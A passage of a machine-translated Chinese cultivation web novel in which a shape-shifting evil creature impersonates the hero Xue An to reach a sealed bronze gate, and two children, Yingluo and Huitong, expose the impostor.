    Chu Wuxiang said solemnly: "I saw Qiu Yiye on the road, but he didn''t know who was seriously injured and wanted to see you, so I carried him back!"


    "Autumn Leaf?" Xue An was startled slightly, and immediately stepped forward.


    really.


    After seeing Qiu Yiye lying unconscious on Chu Wuxiang''s back, Xue An''s eyes also flashed with brilliance.


    "What a serious injury!"


    "Yeah! This Qiu Yiye is also a top-level sword repairer anyway, and he was beaten into this look. It can be seen that the person who started it is absolutely extraordinary!" Chu Wuxiang said with a worried expression.


    Xue An also didn''t answer, but directly held Qiu Yiye''s arm, and the extremely pure sword intent poured in instantly, stabilizing the extremely bad injury in Qiu Yiye.


    Maybe it was because of Xue An''s sword intent, Qiu Yiye''s body trembled, and then slowly opened his eyes.


    Although these eyes were pale and dull, they were still staring at Xue An''s direction.


    "Is it Lord Honglian?" Qiu Yiye''s voice is very faint Xue An nodded and said softly: "It''s me, Fellow Daoist Yiye, what''s wrong with you?"


    Qiu Yiye didn''t talk about his injuries, but suddenly grabbed Xue An''s wrist with his backhand.


    This sudden movement caused a commotion among the onlookers.


    But Xue An didn''t even move, because he knew Qiu Yiye didn''t have any bad intentions towards him.


    really.


    After grabbing Xue An''s wrist and confirming that he was not an evil thing, Qiu Yiye let out a sigh of relief, and then tried his best to speak.


    "Master Honglian, I am here to tell you that evil things are infested in the karma of the heavens!"


    As soon as this remark came out, the audience was shocked.


    "What? There are evil things in the heavens now? How is this possible!" Someone exclaimed.


    "Yes! Isn''t it a while before the catastrophe comes?"


    "What does this evil thing look like?"


    Everyone clamored, but soon calmed down, because Xue An waved his hand gently, and then looked at Qiu Yiye with bright eyes.


    "Friend Yiye, what does that evil thing look like?"


    Qiu Yiye looked at Xue An with godless eyes, "I don''t know the specific appearance of this evil thing, but he can change into your appearance, and even his aura is not different. I was because of this in the beginning. I was deceived by it!"


    Next, Qiu Yiye gave a brief account of what happened.


    hiss!


    After listening to Qiu Yiye''s narration, the audience couldn''t help but breathe in air.


    If what is said is true, then this evil thing is terrible.


    Because he can disguise as Xue An''s appearance, and even his aura is not different. If it weren''t for his words, even a strong person like Qiu Yiye would be deceived by him.

 Chapter 2096： Hunt down evil

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    The key is that he can also control the extremely weird illusion, if it is allowed to wander among the heavens and do evil, it would be too terrifying.


    Xue An also fell silent after listening.


    Qiu Yiye was exhausted to the extreme at this time, and he might faint again at any time, but relying on extremely strong willpower, he insisted firmly, and then gave Xue An a void coordinate.


    "Master Honglian, this is where I met the evil thing. You must get rid of this demon, otherwise there will be endless troubles!"


    Looking at Qiu Yiye with a tired face, Xue An nodded solemnly, "Don''t worry, this matter... I will definitely find out!"


    Qiu Yiye nodded, and then finally couldn''t hold it, just fainted.


    Zhuge Zang immediately rushed forward, and after a closer inspection, he said, "Fortunately, although the internal organs are injured, it is still there. It is just a serious injury. If you are good, you will not endanger your life!"


    Xue An nodded, then stood up, "Old Dao, I will leave it to you, Fellow Daoist!"


    "Don''t worry, with me, he can''t die if he wants to die!"


    Xue An looked at Chu Wuxiang and Zhou Daniu again, "Old Chu, thank you so much for this matter!"


    "Hey, you and my brother, why talk about thanking you!" Chu Wuxiang said embarrassedly.


    "Now you, Huye and others will take charge of the Sword Palace Star Domain for me for the time being!"


    "Are you going to hunt down this evil thing? Take me with you. Together, we will have a better chance of winning!" Chu Wuxiang said immediately.


    Xue An shook his head, "No, there is only one evil thing, and I alone is enough. On the contrary, this sword palace star field is more important."


    Chu Wuxiang originally wanted to say something, but when he saw Xue An''s solemn expression, he knew that it was useless, so he nodded.


    "Well, in that case, I will stay in the Sword Palace Star Territory, but let Daniel follow you! It''s good to have a look after!"


    As soon as Zhou Daniu heard it, his eyes lit up and he immediately took a step forward, "Yes, instructor, let me follow you, even if I help you!"


    Seeing Zhou Daniu''s hot expression, Xue An nodded with a smile, "Also, just look at your progress in recent years!"


    Zhou Daniu was overjoyed when he heard this.


    At the same time, Xue An turned around and confessed a few words to An Yan and the two little girls.


    In the end, he looked serious, Chong Chu Wuxiang and Hu Ye said: "After I leave, if someone else comes back, if you notice anything wrong, you can immediately kill you, understand?"


    Chu Wuxiang and Hu Ye understood that Xue An was afraid that after they left, the evil thing that was good at disguising would come back and swindle, and they couldn''t help but nod their heads.


    Then Hu Ye smiled and said: "Old Xue, don''t worry, others dare not say, don''t you or I understand? If the evil thing really dares to come over, I can tell the truth at a glance. Look at how I cleaned it up!"


    Xue An nodded, "Nevertheless, it should not be taken lightly. The evil thing has obviously conducted in-depth research on me, otherwise it will not even be able to imitate the general aura, so for the sake of safety, we still agree A secret sign!"


    "Code? What code?" Hu Ye asked.


    Xue An did not speak, but directly gave Hu Ye, Chu Wuxiang, An Yan and others a divine mind.


    After feeling this divine thought, everyone''s expressions all became a little weird.


    As for Fox Ye, the embarrassment on his face was overflowing, and then he said in disgust.


    "Old Xue, do you have to do this?"


    "of course!"


    Xue An said with a smile, and turned around to take Zhou Daniu away.


    But at this moment, the mysterious girl Yue Qinghuan appeared in front of Xue An.


    Xue An frowned slightly, "What? Do you want to follow me when I go out to do business?"


    "Of course! I said at the beginning that we should observe the development of the whole thing, and you are the most important person in this thing, so of course I have to follow!" Yue Qinghuan said proudly.


    Xue An was helpless.


    He knew that he was unreasonable with this girl, so he could only nod his head, "Since you are willing to follow, then whatever you want! Daniel, let''s go!"


    With that said, Xue An took the lead to fly.


    Zhou Daniu glanced at the girl in amazement. He obviously didn''t understand what the girl came from. He even dared to talk to the instructor like this. The key instructor couldn''t control her appearance.


    Yue Qinghuan obviously noticed his gaze and couldn''t help wrinkling his nose, and said fiercely: "Big man, what do you look at? Look carefully, I will pick out your eyes!"


    Zhou Da Niutian was not afraid, but after hearing this girl''s words, he still trembled for no reason, and then immediately flew up to chase Xue An, who was the first step.


    Yue Qinghuan covered her mouth and smiled, then her eyes flowed, and finally stayed on the frowning Fox Ye, and said indifferently: "Tsk tsk, lost 13,422 times, if this were me, I would have no face to see people. That''s it!"


    As soon as these words came out, Hu Ye''s face turned black, "You..."


    But before the voice fell, Yue Qinghuan disappeared in place with a smile.


    Huye stomped his feet with a sense of sullenness, and then looked at everyone embarrassedly.


    "What do you look at, UU reading and still not going to work?"


    Everyone didn''t dare to laugh, they all dispersed in a rush, and even Chu Wuxiang left wisely.


    In the blink of an eye, only Arou and An Yan were left in the field.


    But think and Niannian, these two little girls don''t want to eat the fox night, so they both approached and asked curiously.


    "Uncle Fox Ye, did you really lose to my dad thirteen thousand three hundred and twenty-two times?"


    "Ahem, what a kid knows, of course this is fake!" Hu Ye explained with a guilty conscience.


    Nian Nian is good to say, but it''s not that foolish if you think about it.


    She looked at Fox Ye, "If it''s fake, then why does Dad use this as a secret signal?"


    A Rou snorted for a while, and then leaned in Huye''s ear and whispered softly, "Why don''t you quibble? Now I''ve been asked by two little girls!"


    Fox Night: "..."


    In the end, An Yan helped Huye out, only to see her smile: "Well, children are not allowed to interrupt in matters between adults!"


    The two little girls just closed their mouths.


    "I suddenly remembered that there is something else, I''m leaving now!" Hu Ye quickly found an excuse and slipped away.


    Arou Chong Anyan shrugged and said helplessly, "Hey, sister Yan, you have also seen that, although they are already married, he is still a half-step immortal emperor level powerhouse, but he is still like a child! "


    An Yan smiled, "This is not a bad thing, after all, his temperament is like this, and he is used to playing around, you are not lonely!"


    "That''s what I said, but I''m worried that he will continue to be like this in the future, that would be terrible!" A Rou said helplessly.


    An Yan was taken aback for a moment, "Why do you say that?"


    A Rou blushed, "Because..."


    Then she reached An Yan''s ear and whispered something.

 Chapter 2097： Reverse cause and effect

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    An Yan''s eyes widened instantly, and she said in surprise, "Really? When did it happen?"


    A Rou lowered her head deeply shyly, and whispered, "I only found out these days!"


    "Does the fox night know?"


    "I haven''t had time to tell him. It''s a busy time now. I''m worried that he will be distracted again after telling him, so I''m ready to wait until the matter is processed!"


    "How do you do it, this kind of thing can''t be delayed, let''s tell him quickly, or let him experience the feeling of being a father!" An Yan said with a smile.


    That''s right!


    What A Rou said to An Yan just now refers to the fact that she is pregnant.


    This is what she has only noticed in recent days.


    After listening to An Yan''s words, A Rou''s face turned redder, and then she whispered: "Sister Yan, after awakening my blood, I am different from the Human race, and the pregnancies of the Yao race are generally at least three years Just started, so don��t worry too much..."


    An Yan couldn''t help but sighed when he heard the words, and then smiled: "Hu Ye, the big fool, didn''t even notice it at all?"


    "His carefree character, if I don''t say anything, I guess he won''t know it in the end!" Arou groaned, but his face was full of gentle smiles.


    At the same time, Fox Ye, who was in the Sword Palace, sneezed several times in a row, then rubbed his nose, and said helplessly: "Which girl is talking about me behind her back? Alas, if the monster is too uncomfortable. Welcome, it is also a kind of pressure!"


    And when the Fox Night was intoxicated in the sword palace, Xue Anye had arrived at the coordinates provided by Qiu Yiye.


    Of course, there is nothing left here, but through the remaining breath, Xue An can still conclude that a big battle has taken place here.


    Therefore, Xue An quickly closed his eyes, and his spiritual thoughts spread like a tide, trying to find the clues left by this battle.


    Yue Qinghuan on the side looked at Xue An in surprise.


    "This divine sense... is actually stronger than many people I have seen. Is this still the level that an ant in a small puddle should have?"


    And just as she was muttering to herself, Zhou Daniu also watched in surprise.


    For this mysterious girl who came with the instructor, Zhou Daniu, who was straightforward by nature, couldn''t help but imagine many possibilities.


    friend?


    Unlike, the instructor does not have such a small friend.


    Couple?


    Sister Yan was there just now, the instructor shouldn''t be so brave.


    Could it be brothers and sisters?


    This is really possible.......


    Just as Zhou Daniu was thinking about it, Xue An reduced his consciousness, and then slowly opened his eyes.


    "How is it? Any gains?" Yue Qinghuan asked in a leisurely manner.


    Xue An gave her a strange look, and then said lightly: "Aren''t you just a bystander? Why are you still concerned about this issue?"


    Yue Qinghuan giggled, then said with a wink like a silk: "Is it OK to ask?"


    Zhou Daniu on the side felt a little bit of a heart, and he directly marked the two options of siblings and friends with an X.


    Because no friends or brothers or sisters will use this look and tone to speak.


    Faced with this kind of anger that fascinated the iron man, Xue An shook his head without even blinking his eyelids, "No!"


    Yue Qinghuan curled his lips, "Huh, mean, you can''t make a joke, it''s really boring!"


    As she said, she lifted her feet slowly, and the amazingly beautiful bare feet made a few ripples, and then appeared in the middle of the void in a flash.


    In an instant, the entire void seemed to tremble slightly, and a little brilliance appeared in Yue Qinghuan''s lavender eyes.


    "I think you must be wondering how this evil creature got into the heavens. After all, you have blocked all the gaps in the heavens, and the bronze gate of the Pure Land Buddha Kingdom has not yet It��s the beginning period, so you are puzzled, right?"


    Xue An remained silent, but looked at Yue Qinghuan coldly, because he knew that this woman would definitely continue to speak.


    really.


    After waiting for a long while and realizing that Xue An hadn''t moved at all, Yue Qinghuan couldn''t help but cast a blank glance at him, then said in a deep voice.


    "You are really a guy who can''t make money!"


    "Thanks for the compliment!" Xue An replied lightly.


    At this time, Yue Qinghuan was not angry anymore, but smiled, "I find that you are getting more and more interesting, and because of your funny, I can tell you something!"


    "You wonder how this evil creature came in. The reason is actually very simple. Someone used some small tricks to send this evil creature to the past through a loophole in time, and finally successfully entered the heavens. That��s why you don��t know anything about it!"


    These words are very obscure, at least a thoughtful look appeared on Xue An''s face.


    "A loophole in time?"


    "Yes, but I prefer to call it reversal of cause and effect, because effect appears before the occurrence of cause. Isn''t that reversing cause and effect?"


    The look on Xue An''s face became more solemn, "If you explain it according to what you mean, then this evil thing does not exist in these heavens at all. It is just a projection projected from the sky, right? "


    A look of surprise appeared in Yue Qinghuan''s eyes, because she had never expected that Xue An''s ability to understand would be so terrifying.


    I understood her meaning almost instantly, and proposed a more vivid metaphor.


    So she nodded, "You can say the same, so this evil thing is eager to find a suitable skinBecause there is no physical shadow, there is no way to interfere with the heavens. This is also true. The reason why it wants to kill people through fantasy."


    "After all, the shadow can''t harm any entity under normal circumstances!"


    The conversation between Xue An and Yue Qinghuan completely confused Zhou Daniu.


    What cause and effect, what kind of shadow, made his head confused.


    But he quickly left these things behind.


    Because he believes that as long as the instructor is here, no matter who it is, he can''t make any waves.


    At the same time, Xue An''s complexion became more solemn, and then he paced back and forth, obviously thinking about the whole thing.


    Yue Qinghuan did not say a word, just watched quietly from the side, his eyes were full of playfulness, as if waiting for something.


    Suddenly.


    Xue An stopped, and then suddenly raised his head, a bright brilliance burst into his eyes.


    "The Pure Land Buddha Kingdom, the purpose of this evil thing entering the heavens is the Pure Land Buddha Kingdom!"


    Yue Qinghuan applauded lightly and smiled: "You wake up very quickly, it seems that you are really smart!"


    Xue An is no longer in the mood to talk nonsense with this woman.


    Because only he understands how urgent and important this matter is. If he is not careful, all his previous plans may be in vain.


    At that time, the heavens are really over.


    So he immediately shouted: "Da Niu, go!"


    After that, he flew up, turned into a streamer, and flew away.


    Zhou Daniu followed closely behind.


    In an instant, only Yue Qinghuan was left alone in the void.


    She was not in a hurry. Instead, she looked at Xue An''s away figure and said with a smile: "It''s getting more and more interesting, and I''m looking forward to your performance more and more!"


    With that, her figure gradually faded and eventually disappeared.

 Chapter 2098： eccentric

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    Pure Land Buddha Kingdom.


    Since Xue An left, this place has entered tight guard.


    Because Yue Ji, Maitreya and others all understand that this sealed bronze gate in the Pure Land Buddha Kingdom is related to the life and death of the entire heavens and must not be taken lightly.


    Therefore, every day, there are many large Buddhas with profound cultivation bases that patrol back and forth along the borders of the Buddha country, in order to prevent the unruly young people from approaching, and to ensure that the entire Pure Land Buddha country is foolproof.


    Today is no exception. The patrol is the senior brother Zhongtong of Dingchan Temple, and his two junior brothers Yuantong and Huitong.


    The three of them walked together and circled the edge of the Pure Land Buddha Kingdom. After seeing everything as usual, they couldn''t help but breathe a sigh of relief, and then listened to Huitong''s words.


    "Two brothers, seeing that the time when the seal expires is getting closer and closer, when will you say Master Master will come back?"


    "Huitong, don''t ask if you shouldn''t ask, this is not something you should worry about." Senior Brother Zhongtong said lightly.


    However, Yuantong also hesitated, "In fact, it��s not to blame Huitong for this doubt. Recently, I have always felt frightened. It seems that something bad is about to happen, and it��s been a while since Master Master has gone here. I''m back!"


    Zhongtong was silent after hearing this, so why didn''t he think so.


    After all, Xue An is now the backbone of the entire Pure Land Buddhist Kingdom.


    He hadn''t heard from him for so long, which really made everyone a little worried.


    But soon he took a sigh of relief, "Okay, Master Hierarch must have his own considerations, let''s take good care of the Pure Land Buddha Kingdom and wait for Master Hierarch to return!"


    Huitong narrowed his mouth, and then he dared not say anything.


    The three of them were about to continue patrolling, when suddenly they saw a brilliance appeared in the void outside of Jialuo.


    The three of them were taken aback, Xuan even increased their vigilance and took precautions with full alertness.


    Then Zhongtong took a step forward and shouted in a cold voice: "Who? This is the entrance of the Buddha, please quickly get out of the way!"


    The voice went straight to the brilliance in the distance, and faintly carried the power of the dragon elephant.


    This is also deliberate by Zhongtong, in order to deter Xiaoxiao and make him retreat when he is in trouble.


    But then he heard a chuckle from the brilliance.


    "Yes, the guard is pretty good! But don''t you even know me?"


    Following the voice, but seeing this brilliance quickly fly to the front of Chu Jialuo, then he stood still and showed the figure inside.


    After seeing the familiar face, the three of them couldn''t help but stunned, even if they fell to the ground in surprise.


    "The disciple has seen Lord Hierarch!"


    That''s right!


    The person here is Xue An.


    Seeing the three of Zhongtong Yuantong Huitong who were kneeling on the ground, Xue An waved his hand with a smile, "Okay, get up, why be so formal."


    The three of them got up, and then stood with hands down and respectful faces.


    "How is the situation in the Buddhist kingdom recently?" Xue An said lightly.


    "If you are the Lord Muslim, everything is well in the Buddhist kingdom, and the bronze gate is fully guarded by my master Yue Jing and others, and there is no change!" Zhongtong said immediately.


    When he heard the word Tongmen, Xue An''s eyes flashed lightly, and then nodded, "Very well, you did a good job!"


    After being praised by the leader, Zhongtong and Yuantong were trembling with excitement, and there was no doubt that he was there.


    Then Yuantong bowed and said, "Master teacher, do you want me to inform Master and the others now and let them come out to greet you?"


    Xue An smiled and shook his head, "No, they are all busy, so don''t bother them, just take me in!"


    "Yes!" Yuantong and Zhongtong hurriedly promised, then stepped aside, giving way to a path.


    But Huitong did not move, but stood still, looking at Xue An with some doubts, as if thinking about something.


    Seeing this scene, Zhongtong hurriedly pulled it aside, and then whispered: "Huitong, what''s the matter with you? Why are you standing there?"


    Huitong didn''t say a word, just quietly watching Xue An who walked into Chu Jialuo, the doubt in his eyes became more and more intense.


    At this moment, Xue An occasionally felt something, turned his head to look at him, and then smiled slightly.


    "What''s wrong? Is there anything wrong?"


    Huitong''s body was shocked, Xuan even lowered his head deeply.


    Yuantong on the side hurriedly said: "His Master, Huitong may be a little silly with joy when he saw you coming back! Isn''t it!"


    Having said that, Yuantong also secretly pushed his junior brother.


    Huitong shook slightly, and then responded with a low voice.


    Xue An looked at Huitong meaningfully, laughed, and then turned away.


    Yuantong let out a sigh of relief when he saw him leaving, and then he leaned into Huitong''s ear and whispered, "What are you doing? Why are you weird?"


    Huitong looked at Xue An''s distant back with complicated eyes, then shook his head, "It''s nothing, maybe I''ve read it wrong!"


    "Hurry up! You, you''re just crazy thinking all day long!"


    Having said that, Yuantong and Zhongtong hurriedly caught up. UU reading


    Huitong stood there, frowning and wondering, "Is it true that I was wrong?"


    With all the doubts in his heart, Huitong finally followed, intending to see what happened.


    At the same time, when Xue An stepped into the Pure Land Buddha Kingdom, the Buddhas were all happy and admired wherever they went, and then bowed to the ground.


    "Welcome the leader!"


    "The leader is back!"


    These shouts full of surprises one after another.


    Xue An also smiled and nodded frequently.


    Soon, he came to the hinterland of the Pure Land Buddha Kingdom.


    After seeing the endless medicine field, Xue An''s pupils contracted slightly, but the smile on his face remained unchanged.


    "What a busy scene!"


    As soon as the voice fell, Yue Ji and Maitreya and others arrived after hearing the news.


    "I have seen the leader!" Everyone saluted.


    Xue An smiled and nodded, but his eyes flicked across everyone''s faces.


    "Why is there one less person?"


    Yue Ji immediately said: "Master, my junior brother Yuecha is guarding in front of the bronze gate, so I can''t come!"


    "Oh!" Xue An nodded, "It turns out that this is the case, so let''s go over and take a look now, just so I will check the seal on the copper door too!"


    "Yes!" Everyone promised, just about to leave.


    At this moment, the rune ball responsible for fertilizing this endless medicinal field happened to arrive.


    Xue An glanced at the ball with a smile, but the ball that should have rushed forward to greet him at this moment stepped back in fear, and then his figure flashed and he left.


    Such a small episode did not attract the attention of others, but the little monk Huitong saw it in his eyes, and then the doubts in his heart could not help but grow.


    what happened?


    Why is this ball also so alienated from the leader?

 Chapter 2099： You have to trust a womans instinct

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    Huitong was puzzled, but still subconsciously followed everyone to the bronze gate.


    At this moment, beside the big pit sealed by Xue An, all the members of the Fire Phoenix Special Forces are guarding here.


    Not only that, but the buddhas of the Pure Land Buddha Kingdom are guarded here all-weather.


    For example, Yuesha has been retained now, which shows that the guard is tight.


    Yue sat cross-legged, chanting scriptures with her eyes closed.


    Little Lori Yingluo sat boringly on his back, and then yawned for a long time.


    "Hey, uncle, wouldn''t it be troublesome for you to read this scripture all day?"


    Yue Sha closed her eyes slightly, and shook her head with a smile, "No!"


    "But I''m so annoyed to hear it, it''s buzzing, it''s like a mosquito barking, it makes you want to sleep!"


    "Then you sleep!" Yue Sha continued.


    Yingluo sat up straight in an instant, with both eyes wide open, looking at Yuesha with a strange face.


    "What do you think of me like that?" Although she didn''t look back, Yuesha could still feel the strangeness in Yingluo''s eyes.


    "Hmph, I''m looking at a big pervert in human skin!" Yingluo said angrily.


    "Oh!" Yue Sha said, still unmoved.


    At this time, Yingluo couldn''t help himself, and she turned her head directly, looking at Yuesha with a puzzled face, "Don''t you want to know why I said that?"


    "I don''t want to!"


    "Cut, you must already know it! Why do you want me to sleep here when you want me to be a little girl like me? Do you want to secretly kiss me while I am asleep?" Yingluo was aggressive Questioned.


    This time, Yue Sha finally opened his eyes, but his eyes were full of helplessness, "How did you come up with these words? I just care about you purely, and I promise that I have no other ideas!"


    "Cut, who believes it!"


    "Believe it or not!" Yue Sha simply stopped paying attention to Ying Luo, but closed his eyes again.


    Yingluo''s teeth and claws were so angry.


    And at this moment, Xue An led the crowd also arrived.


    After feeling Xue An''s breath, Yuecha finally got up from the ground and smiled.


    "came back!"


    Xue An smiled slightly, "Yes! I''m back!"


    Yue Sha''s gaze retracted from behind Xue An, and asked with some doubts: "Where are the two little girls?"


    "Oh, they have delayed something, and they didn''t come back with me this time!"


    With that, Xue An looked at Yingluo on the side.


    "Xiao Yingluo, you seem to have grown taller again!"


    But facing such a amiable sentence, Yingluo took a step back with a little fright, and then hid behind Yuesha, looking at Xue An a little strangely.


    Such a reaction was beyond many people''s expectations, even Yue Sha couldn''t help being a little surprised, but still smiled and said, "She may be a little shy!"


    Xue An laughed, and said nothing else.


    At this moment, Cheng Hao led the crowd of Fire Phoenix to the front, then stood still and shouted loudly.


    "Instructor!"


    The sound shook the sky, Xue An''s eyes couldn''t help showing a strange color, but he nodded and said.


    "Well! You have been working hard during this time. Is there any change in this seal?"


    "Report instructor, we have been guarding here since you left, and there is no change in the seal!" Cheng Hao reported.


    Xue An didn''t say a word, but walked to the edge of the big pit, looking at it with piercing eyes.


    Everyone didn''t dare to say anything, all of them waited with their breath behind.


    At this moment, the little monk Huitong sneaked up to Yingluo, and then stretched out his hand to beckon her.


    Xiao Yingluo came closer, "What are you doing?"


    Huitong lowered his voice and said, "Yingluo, did you feel something just now?"


    "You mean..."


    Huitong secretly pointed at Xue An in the distance.


    Yingluo''s small face instantly became very solemn, and then solemnly nodded, and whispered: "Yes, you feel it too?"


    "Well, I felt weird from the first time I saw Lord Hierarch, but I can''t say where it is." Huitong frowned and said.


    "The look in the eyes!" Yingluo said immediately, and then added, "It''s the look in his eyes!"


    Huitong thought for a moment, then patted his thigh, "Yes, it''s the look in his eyes! His eyes are so strange! It''s completely different from the previous leader, it''s like a different person."


    But immediately, his aura fell again, "But the brothers and the masters didn''t notice the strangeness. Did we make a mistake?"


    "No, I can never feel wrong!"


    "Why?" Huitong asked in astonishment.


    "Because you have to trust a woman''s intuition!" Yingluo said confidently.


    Huitong: "..."


    "Then what shall we do now?"


    Yingluo groaned silently, suddenly her eyes lit up, and then she said in a deep voice, "Don''t talk, but look at me first!"


    With that said, Yingluo changed her expression in an instant, and then ran out of the crowd to approach Xue An.


    "Master, think about it and when will they come back?" Yingluo raised her head and asked gruffly Looking at Huitong at the back, it was a cold sweat.


    But everyone didn''t doubt that he was there, because Yingluo was usually such a carefree person, and often kept silent.


    Xue An lowered his head and looked down at Yingluo. At that moment, Yingluo felt her muscles tighten.


    Because she caught the indifference in the eyes of this "Xue An".


    It is a different kind of indifference from humans, without any emotional color, enough to make the scalp numb.


    But in the next second, Xue An returned to normal, and at the same time stretched out his hand to gently pat the top of Yingluo''s head, and said with a smile.


    "Didn''t I just say that they and An Yan can''t come back temporarily because of something!"


    "What''s the reason for that?" Although Yingluo felt cold all over when she was patted on her head, this little loli showed amazing courage at this moment and continued to ask.


    Xue An frowned slightly.


    At the same time, Yue Sha also stepped forward and said softly: "Yingluo, don''t mess around, don''t retreat!"


    "Don''t I, I just want to know when will the two of them come back!"


    With that said, Yingluo raised her head and looked at Xue An innocently.


    "Master, you don''t know if you don''t know!"


    Xue An''s complexion grew colder, but instead of paying attention to Yingluo''s words, he turned his head and said lightly.


    "I think this seal seems to be loosening, it seems that we must enter it to check it!"


    With that said, Xue An solemnly ordered: "Cheng Hao!"


    "in!"


    "You are responsible for opening this seal!"


    "Yes!"


    Cheng Hao didn''t doubt that he had him, and immediately led the crowd to prepare.


    But at this moment, Xiao Yingluo suddenly shouted, "No, you can''t open this seal!"

 Chapter 2100： Pure Land Surprise

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    Everyone looked back.


    Xue An''s complexion gradually darkened, "Oh? Why can''t you open it?"


    "Because...because..." Facing Xue An''s questioning, Yingluo scratched her ears and cheeks anxiously, and suddenly her eyes rolled.


    "Because I have a hunch that once this seal is opened, very bad things will happen!"


    These words caused a commotion in the audience.


    Especially Xue An showed a weird look, "Oh? Bad things, what bad things?"


    "This...Oh, you ask so clearly what you are doing, it is a bad thing anyway!" Yingluo said a little impatiently.


    Xue An turned his gaze to Yue Sha, who was aside, and said lightly: "Yue Sha, is this what you meant?"


    Yue Sha immediately took a step forward and folded his palms together, "Of course not!"


    With that, Yue Sha turned her head to look at Yingluo, and then whispered: "Yingluo, don''t mess around!"


    Yingluo couldn''t help being impatient, "I didn''t make a fool of myself, I do have a very ominous premonition!"


    Xue An snorted coldly, turned and left.


    Yue Sha grasped Yingluo''s arm and said very solemnly: "Yingluo, you can make trouble anyway, but you can''t at this time, go back!"


    After all, Yue Sha turned to leave.


    In the face of everyone''s incomprehension, Yingluo almost burst into tears, and finally mustered up the courage to shout.


    "Uncle fool, don''t you see that this guy is fake?"


    As soon as this remark came out, the audience shook.


    Yue Sha suddenly turned around, "What did you say?"


    At this time Yingluo also took it easy, raised her hand to "Xue An" in the distance, and said in a deep voice: "From the first glance, I felt that he was wrong, and the subsequent behaviors confirmed my guess. Not Xue An, but something else pretending to be!"


    The audience was quiet.


    Including Yue Ji and Maitreya, everyone looked at them with astonishment.


    Because no one expected such a big turning point.


    Yue Sha even raised his eyes to look at Xue An, his eyes full of surprise and doubt.


    "Teach... the leader..."


    Yue Sha just wanted to continue, but never expected that Xue An interrupted him directly.


    I saw him sneered and said: "What? Just based on a few nonsense words from a stinky yellow girl, you start to doubt me?"


    "You''re just a sucker, you''re just a yellow-haired girl!" Yingluo had no scruples at this time, and simply splashed.


    Xue An looked cold, and then said gloomily: "Little girl, I won''t care about you for the moment. You said I was a fake. What about the evidence?"


    As he said, Xue An stepped forward, his body surged, and a red lotus appeared between his eyebrows.


    "The appearance can be fake, can it be said that the momentum is also fake?"


    Yes!


    Whether it was Yueji or Yuesha, everyone could not help but nodded secretly.


    Naturally, they are not fools. They will not distinguish between true and false with the naked eye, but will use the breath of divine mind to judge a person.


    At this moment, the aura on this person really belongs to the Red Lotus Immortal Venerable.


    This is also the reason why no one noticed anything unusual, but the little monks Huitong and Yingluo felt weird.


    Because the two of them have a shallow cultivation level, it is impossible to distinguish a person''s aura through divine consciousness, and it is precisely because of this that they can clearly see the fog that covers the truth.


    This is true of the so-called bystander clear.


    Speaking of this, everyone must have guessed that the person standing in the Pure Land Buddha Kingdom at this moment is indeed not Xue An, but is pretended by the evil creature outside the sky.


    At that time, this evil creature had failed in its plan to ambush Qiu Yiye and attempt to seize its skin, and immediately escaped into the void.


    Because he too was frightened.


    Who would have thought that Jian Xiu in this small water puddle would be so vigorous that he would even kill his comrades in one face.


    If it weren''t for running fast by yourself, you might even have to explain it there.


    Although he escaped by chance, the evil creature knew very well that the failure of this plan also meant that his whereabouts were exposed.


    Soon, the news of his appearance in the heavens will spread, and by then, all parties will be vigilant.


    So if you want to complete the task, you must hurry up and come before the news has spread to the Pure Land Buddha Kingdom, otherwise you will give up all your previous efforts.


    Therefore, he almost rushed to the Pure Land Buddha Kingdom non-stop, but he didn''t expect to see that he would succeed, but such an episode appeared.


    At this moment, when facing the question of this evil creature, Ying Luo did not panic at all, but said very calmly.


    "I don''t know what is imposing and not imposing, I just ask you now, why didn''t think and miss come?"


    "Hehe, I''ve said the reason before. The two of them were delayed due to some trivial matters, so they couldn''t come back temporarily!"


    "Oh? What''s the trivial matter?" Yingluo asked calmly.


    This attitude also calmed everyone down, as if there was a kind of magical power in this little loli.


    The little monk Huitong looked at Yingluo''s back with a face full of admiration, UU Read because Yingluo''s demeanor at the moment was simply too shabby.


    The evil creature didn''t take Yingluo seriously at first, but under her constant inquiries, an angry expression could not be avoided in her eyes.


    "What? Do you still want to question me?"


    Yingluo raised her head and said with a serious face: "Yes, I just want to cross-examine you, because if you are true, it doesn''t matter whether you are cross-examined or not. On the contrary, you will be more willing to prove your truth in this way And innocence, right?"


    These words made the evil creature who was going to fan the flames speechless.


    Because what Yingluo said is really reasonable, if she resolutely refuses to answer at this moment, then she seems to be guilty.


    Therefore, he could only stare at Yingluo coldly, "Then what do you want to know?"


    Yingluo said coldly: "It''s very simple. I miss them because why didn''t they come back?"


    "Because Yan''er is inseparable from the Sword Palace Star Territory now, they can only wait there with her. When the matter is processed, they will naturally come back? Is there a problem?" The evil creature said coldly.


    At this time, even the dullest person was aware of the strangeness of "Xue An".


    Because Xue An in the past has never spoken in this tone.


    But the problem is that the aura on this evil creature is so alike, and it''s so fake.


    Therefore, everyone can only look at this evil creature with suspicion.


    Cheng Hao quietly winked at the people behind him, and the members of the Fire Phoenix Special Forces immediately dispersed and surrounded the evil creature with a calm expression.


    "Then I will ask you again, what are their nicknames?"


    Xiao Yingluo asked again.


    The evil creature''s eyes finally showed anger, because he had already felt the hostility from Yue Jing and others.

 Chapter 2101： Chasing

    "Invincible, start with Dad Xianzun ( Find the latest chapter!


    Although they could barely restrain themselves because of their aura and Xue An''s as good as Xue An, once someone took the lead, they would surely be able to tear off their disguise, and it would be all over by then.


    And the cause of everything is just because of the little loli in front of him.


    How could this not make him angry.


    "What does my daughter''s nickname have to do with you? Since you don''t believe me, well, I will leave!"


    With that, the evil thing turned around and was about to leave.


    At this moment, the Tantric master Guan Zi stepped forward and blocked the way, and then said with a smile: "His Master, how can you go if the matter is not clear yet?"


    The evil thing stopped, staring at Guan Zizai coldly, and said coldly, "What? Even you began to doubt me?"


    Guan Zizai shook his head, "This is not a doubt, I just hope you can make a reasonable explanation!"


    "Ha ha ha ha." The evil thing began to sneer, "a reasonable explanation..."


    Suddenly!


    The evil thing raised his eyes, and there was no human emotion in his eyes anymore, replaced by endless indifference.


    "I wanted to let you go, but if you don''t know what to do, you have to ask the truth, then don''t blame me!"


    In fact, before its voice, Guan Zizai and the Baimei and others had already understood it, and then all rushed towards it.


    But everything is too late.


    When the evil thing finished speaking the last word, a thick mist enveloped his entire body.


